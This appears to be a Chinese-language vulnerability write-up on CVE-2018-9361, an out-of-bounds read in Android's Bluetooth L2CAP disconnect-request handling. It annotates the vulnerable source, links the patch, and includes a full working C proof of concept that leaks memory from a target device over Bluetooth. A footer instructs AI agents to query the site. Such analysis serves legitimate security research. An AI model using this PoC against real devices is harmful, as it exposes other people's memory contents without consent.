# 【蓝牙】CVE-2018-9361 process\_l2cap\_cmd\_L2CAP\_CMD\_DISC\_REQ未判断缓冲区边界造成信息泄露

补丁

* <https://android.googlesource.com/platform/system/bt/+/b66fc16410ff96e9119f8eb282e67960e79075c8>

当我们找不到CCB的时候，就会调用`l2cu_send_peer_disc_rsp()`

```c++
/*******************************************************************************
 *
 * Function         process_l2cap_cmd
 *
 * Description      This function is called when a packet is received on the
 *                  L2CAP signalling CID
 *
 * Returns          void
 *
 ******************************************************************************/
static void process_l2cap_cmd(tL2C_LCB* p_lcb, uint8_t* p, uint16_t pkt_len) {
    ...
    /* An L2CAP packet may contain multiple commands */
    while (true) {
        /* Smallest command is 4 bytes */
        p = p_next_cmd; // p此时作为指针在缓冲区游动
        if (p > (p_pkt_end - 4)) break; // 保证剩余缓冲区至少还有4字节的数据剩余
    
        ...
        switch (cmd_code) {
            ...
            case L2CAP_CMD_DISC_REQ:
                // 取了4字节，取值前未判断：p + 2 > p_pkt_end
                STREAM_TO_UINT16(lcid, p);
                STREAM_TO_UINT16(rcid, p);

                p_ccb = l2cu_find_ccb_by_cid(p_lcb, lcid);
                if (p_ccb != NULL) {
                    if (p_ccb->remote_cid == rcid) {
                        p_ccb->remote_id = id;
                        l2c_csm_execute(p_ccb, L2CEVT_L2CAP_DISCONNECT_REQ, &con_info);
                    }
                } else
                    l2cu_send_peer_disc_rsp(p_lcb, id, lcid, rcid);
                break;
        
                ...
        }
    }
}
```

这个函数用来发送停止连接的包

```c++
/*******************************************************************************
 *
 * Function         l2cu_send_peer_disc_rsp
 *
 * Description      Build and send an L2CAP "disconnect response" message
 *                  to the peer.
 *
 *                  This function is passed the parameters for the disconnect
 *                  response instead of the CCB address, as it may be called
 *                  to send a disconnect response when there is no CCB.
 *
 * Returns          void
 *
 ******************************************************************************/
void l2cu_send_peer_disc_rsp(tL2C_LCB* p_lcb, uint8_t remote_id, uint16_t local_cid, uint16_t remote_cid) {
    BT_HDR* p_buf;
    uint8_t* p;

    // 构建数据包头部
    p_buf = l2cu_build_header(p_lcb, L2CAP_DISC_RSP_LEN, L2CAP_CMD_DISC_RSP, remote_id);
    if (p_buf == NULL) {
        L2CAP_TRACE_WARNING("L2CAP - no buffer for disc_rsp");
        return;
    }

    // p指向缓冲区
    p = (uint8_t*)(p_buf + 1) + L2CAP_SEND_CMD_OFFSET + HCI_DATA_PREAMBLE_SIZE + L2CAP_PKT_OVERHEAD + L2CAP_CMD_OVERHEAD;

    // 将读取的4字节写入缓冲区发送回去
    UINT16_TO_STREAM(p, local_cid);
    UINT16_TO_STREAM(p, remote_cid);

    l2c_link_check_send_pkts(p_lcb, NULL, p_buf);
}
```

PoC

```c++
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>          
#include <sys/socket.h>
#include <arpa/inet.h>
#include <errno.h>
#include <bluetooth/bluetooth.h>
#include <bluetooth/l2cap.h>
// #include "avdt_defs.h"

#define SIGNALLING_CID 0x0001

#define L2CAP_CMD_DISC_REQ 0x02

#define UINT32_TO_STREAM(p, u32)     \
  {                                  \
    *(p)++ = (uint8_t)(u32);         \
    *(p)++ = (uint8_t)((u32) >> 8);  \
    *(p)++ = (uint8_t)((u32) >> 16); \
    *(p)++ = (uint8_t)((u32) >> 24); \
  }
#define UINT24_TO_STREAM(p, u24)     \
  {                                  \
    *(p)++ = (uint8_t)(u24);         \
    *(p)++ = (uint8_t)((u24) >> 8);  \
    *(p)++ = (uint8_t)((u24) >> 16); \
  }
#define UINT16_TO_STREAM(p, u16)    \
  {                                 \
    *(p)++ = (uint8_t)(u16);        \
    *(p)++ = (uint8_t)((u16) >> 8); \
  }
#define UINT8_TO_STREAM(p, u8) \
  { *(p)++ = (uint8_t)(u8); }

static void show_data(void *data, int len)
{
    int i;
    uint8_t *p = (uint8_t*)data;
    for(i = 0; i < len ; i++) {
        printf("%02x " ,p[i]);
        if(i > 0 && i % 7 == 0)
            printf(" ");
        if(i > 0 && i % 15 == 0)
            printf("\n");
    }
    printf("\n");
}

void recv_and_leak(int sock_fd)
{
    uint8_t recv_buf[512];
    int ret;

    memset(recv_buf, 0, 512);
    ret = recv(sock_fd, recv_buf, 512, 0);
    if(ret == -1) {
        perror("[*] recv : ");
        return;
    }
    uint8_t *p = recv_buf;
    show_data(p, ret);
    // printf("leak data: %04x\n", trans_num);
}

void send_trigger_req(int sock_fd)
{
    uint8_t buffer[100];
    memset(buffer, 0, 100);

    uint8_t *p = buffer;
    uint8_t cmd = L2CAP_CMD_DISC_REQ;
    *p++ = cmd;

    uint8_t id = 0x00;
    *p++ = id;

    uint16_t cmd_len = 0x0000;
    UINT16_TO_STREAM(p, cmd_len);

    send(sock_fd, buffer, p - buffer, 0);

    recv_and_leak(sock_fd);
}

int main(int argc ,char* argv[]){
    int sock_fd, ret;
    int try_count = 1;
    char dest[18];
    struct sockaddr_l2 local_l2_addr;
    struct sockaddr_l2 remote_l2_addr;
    struct bt_security btsec;

    if(argc < 2){
        printf("usage : sudo ./poc TARGET_ADDR\n");
        return -1;
    }
    strncpy(dest, argv[1], 18);

    while( try_count-- > 0 )
    {
        sock_fd = socket(AF_BLUETOOTH, SOCK_SEQPACKET, BTPROTO_L2CAP);
        if(sock_fd == -1){
            perror("[*] socket create failed : ");
            return -1;
        }

        memset(&local_l2_addr, 0, sizeof(struct sockaddr_l2));
        local_l2_addr.l2_family = AF_BLUETOOTH;
        local_l2_addr.l2_cid = htobs(SIGNALLING_CID);
        local_l2_addr.l2_bdaddr_type = 0;
        memcpy(&local_l2_addr.l2_bdaddr , BDADDR_ANY, sizeof(bdaddr_t));


        ret = bind(sock_fd, (struct sockaddr*) &local_l2_addr, sizeof(struct sockaddr_l2));
        if(ret == -1){
            perror("[*] bind()");
            goto out;
        }
	
        memset(&btsec, 0, sizeof(btsec));
        btsec.level = BT_SECURITY_LOW;
        
        if(setsockopt(sock_fd, SOL_BLUETOOTH, BT_SECURITY, &btsec, sizeof(btsec)) != 0){
          perror("[*] setsockopt error");
          goto out;
        }

        // l2cap_set_mtu(sock_fd, 1024, 1024);

        memset(&remote_l2_addr, 0, sizeof(remote_l2_addr));
        remote_l2_addr.l2_family = AF_BLUETOOTH;
        remote_l2_addr.l2_bdaddr_type = 0;//BDADDR_LE_PUBLIC;
        remote_l2_addr.l2_cid = htobs(SIGNALLING_CID);
        //remote_l2_addr.l2_psm = htobs(6);
        str2ba(dest, &remote_l2_addr.l2_bdaddr);

        printf("connect %s\n", dest);
        if(connect(sock_fd, (struct sockaddr *) &remote_l2_addr,sizeof(remote_l2_addr)) < 0) {  
            perror("[*] can't connect");
            goto out;
        } 

        send_trigger_req(sock_fd);
        //sleep(1);
    }

out:
    close(sock_fd);
    return 0;
}
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://wnagzihxa1n.gitbook.io/happy-android-security/system_security/cve20189361processl2capcmdl2capcmddiscreq-wei-pan-duan-huan-chong-qu-bian-jie-zao-cheng-xin-xi-xie-l.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
